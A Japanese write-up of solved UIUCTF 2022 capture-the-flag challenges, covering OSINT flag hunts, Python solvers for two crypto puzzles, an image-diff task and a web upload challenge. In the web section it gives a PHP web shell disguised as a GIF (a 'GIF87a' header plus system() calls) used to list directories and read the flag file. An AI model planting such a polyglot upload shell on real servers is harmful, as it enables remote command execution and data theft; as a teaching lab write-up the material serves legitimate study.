この大会は2022/7/30 9:00(JST)~2022/8/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は536点で395チーム中93位でした。
自分で解けた問題をWriteupとして書いておきます。
Join our Discord (misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
uiuctf{scinkey_chackinty}
Everyone's A Critic 1 (osint)
Discordに入り、"review"で検索すると、chuck.lephucke#0038が以下のように言っていることがわかる。
Hello I am Chuck and I am here somehow, i'm going to review UIUCTF
プロフィールを見ると、ロールにフラグが設定されている。
uiuctf{this_flag_is_not_bait}
Everyone's A Critic 2 (osint)
YouTubeで"chuck lephucke"を調べると、「Chuck Lephucke Game Reviews」というものが見つかった。以下のURLにある、再生リストの全体を見ると、「the truth」の説明らしき箇所にフラグが書いてあった。
https://www.youtube.com/playlist?list=PL4CrQf2sJ35r6WW8c0exXS7NJ35oTrILx
uiuctf{m@kE_sUrE_2_j01n_mY_ch@nn3L}
Everyone's A Critic 4 (osint)
twitterで"chuck lephucke"を調べると、以下のページが見つかる。
https://twitter.com/ChuckLephucke
ヘッダ画像にフラグが薄く見える。
フラグ形式が違うので、修正する。
uiuctf{scre@m1ng_@nD_crY1ng_b3cau5e_0n_twitter}
Everyone's A Critic 5 (osint)
Steamで"chuck lephucke"を検索すると、以下のURLのページが見つかる。
https://steamcommunity.com/profiles/76561199375368137
以下のレビューのページを見ると、フラグが書いてあった。
https://steamcommunity.com/profiles/76561199375368137/recommended/
uiuctf{th1s_g@m3_m@d3_m3_A_terr1bL3_p3rSoN_iN_2016}
Frame (web)
画像をアップロードすると、画像と認識され、ファイル名に".jpg", ".jpeg", ".png", ".gif"が含まれていたら、uploads/[16進数16バイト文字列]-[ファイル名]にアップロードされる。
exploit.php.gifに以下のコードを書き、アップロードする。
GIF87a <?php system("ls"); ?>
アップロードできたら、HTMLソースを見て、どこにアップロードされたかを見て、アクセスする。
https://frame-web.chal.uiuc.tf/uploads/06b3a8d4a24d53df-exploit.gif.phpにアクセスする。
GIF87a 0599843920bb9f60-exploit.gif.php 06b3a8d4a24d53df-exploit.gif.php 09a94c064fb521da-mypic2.gif 0ae10ae5cf81755d-exploit.gif.php 28ef7fe2138957e7-exploit.gif.php 4be56ed0bed39de2-flag.php%00.png 76915bb667b65a57-tp.jpg 8572e77ccab3b580-exploit.jpg.php 8dcd3383cd7fb6ad-mypic2.gif 94311de2a8337482-frog.jpg a5c085f78b9271c9-frame-2.php.png b52b455302716eb8-frame.png bce80be7b3a6b515-flag%00.png d2b613bf332392d5-frame-2.php.png dcfee66e151ca4de-exploit.gif.php
今度は以下のようにコードを変えて、アップロードして結果を確認してみる。
GIF87a <?php system("ls /"); ?>
結果は以下のようになり、flagがあることがわかる。
GIF87a bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var web-apps
今度は以下のようにコードを変えて、アップロードして結果を確認してみる。
GIF87a <?php system("cat /flag"); ?>
結果は以下のようになり、フラグが得られた。
GIF87a uiuctf{th1nk1ng_0uts1de_th3_fr4m3}
uiuctf{th1nk1ng_0uts1de_th3_fr4m3}
Military Grade Encryption (crypto)
key_sizeは128, 256, 512, 1024, 2048の5パターン。PINは000000~999999の1000000パターン。このブルートフォースで復号する。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Util.Padding import unpad from hashlib import md5 from base64 import b64decode from itertools import cycle MD5 = lambda s: md5(s).digest() KEY_PAD = lambda key: b"\x00" * (16 - len(key)) + key def custom_decrypt(b64data, password, keysize): def _gen_key(password): key = password for i in range(1000): key = MD5(key) return key data = b64decode(b64data) key = bytes_to_long(_gen_key(password)) ciphers = [ AES.new(KEY_PAD(long_to_bytes((key*(i+1)) % 2**128)) ,AES.MODE_ECB) for i in range(0, keysize, 16) ] ct_blocks = [ data[i:i+16] for i in range(0, len(data), 16) ] return b"".join([cipher.decrypt(ct_block) for ct_block, cipher in zip(ct_blocks, cycle(ciphers))]) with open('flag.enc', 'r') as f: enc = f.read().rstrip() found = False for keysize in [128, 256, 512, 1024, 2048]: for pin in range(1000000): password = str(pin).zfill(6).encode() flag = custom_decrypt(enc.encode(), password, keysize) if flag.startswith(b'uiuctf{'): found = True flag = unpad(flag, 16).decode() print(flag) break if found: break
uiuctf{n0t_eNou6h_3ntr0_4_H4ndr0113d_Crypto}
asr (crypto)
RSA暗号だが、ある決まったp, qの生成方法になっている。さらにe, d, ctしかわかっていない。d * e - 1を算出すれば、phiの倍数がわかる。
d * e - 1 = 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000
この値を素因数分解し、p - 1とq - 1の組の全組み合わせで、復号する。
$ python -m primefac 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000: 2 2 2 2 2 2 2 2 2 2 2 2 3 3 3 5 5 5 7 7 11 13923226921736843531 15789155524315171763 14695627525823270231 10441209995968076929 13403263815706423849 16070004423296465647 10357495682248249393 10476183267045952117 16303174734043925501 16755840154173074063 17757525673663327889 11865228112172030291 14497899396819662177 12775011866496218557 11157595634841645959 18318015934220252801
#!/usr/bin/env python3 import itertools import math from Crypto.Util.number import* e = 65537 d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473 ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285 prod_primes = d * e - 1 primes = [13923226921736843531, 15789155524315171763, 14695627525823270231, 10441209995968076929, 13403263815706423849, 16070004423296465647, 10357495682248249393, 10476183267045952117, 16303174734043925501, 16755840154173074063, 17757525673663327889, 11865228112172030291, 14497899396819662177, 12775011866496218557, 11157595634841645959, 18318015934220252801] prod_nums = [1, 2, 2 * 3, 2 * 3 * 5, 2 * 3 * 5 * 7, 2 * 3 * 5 * 7 * 11] found = False for c in itertools.combinations(primes, 8): c1 = list(c) c2 = [] for p in primes: if p not in c1: c2.append(p) for num1 in prod_nums: for num2 in prod_nums: p = math.prod(c1) * num1 + 1 q = math.prod(c2) * num2 + 1 if isPrime(p) and isPrime(q): m = pow(ct, d, p * q) flag = long_to_bytes(m) if flag.startswith(b'uiuctf{'): found = True print('[+] p =', p) print('[+] q =', q) flag = flag.decode() print('[*] flag:', flag) break if found: break if found: break
実行結果は以下の通り。
[+] p = 271950369251417813843455214193293615667247326993078971132249677504502887164812273703264630473200442858630726959228126834476515102922075834734211926079887071 [+] q = 3063911255686677563803587147108604118996073685890282016028537107735073940154658396464966848784155585890692979345332356675288354274891823922477896511701437111 [*] flag: uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
Collection (misc)
このCTFの各問題に使われている画像をダウンロードする。(0, y)で青の値が異なるyの値がインデックス、青の値がフラグ文字になることから、フラグを求める。
#!/usr/bin/env python3 from PIL import Image import os DIR1 = 'collection/' DIR2 = 'download/' files = os.listdir(DIR1) flag = [''] * len(files) for file in files: img1 = Image.open(DIR1 + file).convert('RGB') img2 = Image.open(DIR2 + file).convert('RGB') w, h = img1.size for y in range(h): r1, g1, b1 = img1.getpixel((0, y)) r2, g2, b2 = img2.getpixel((0, y)) if b1 != b2: flag[y] = chr(b1) break flag = ''.join(flag) print(flag)
uiuctf{Th1s_c0llect10n_is_n0w_c0mpl3ted_4f2335}
Feedback Survey (misc)
アンケートに答えたら、フラグが表示された。
uiuctf{th@nk_y0u_f0r_pl4y1ng_U1UCTF_2022!!!}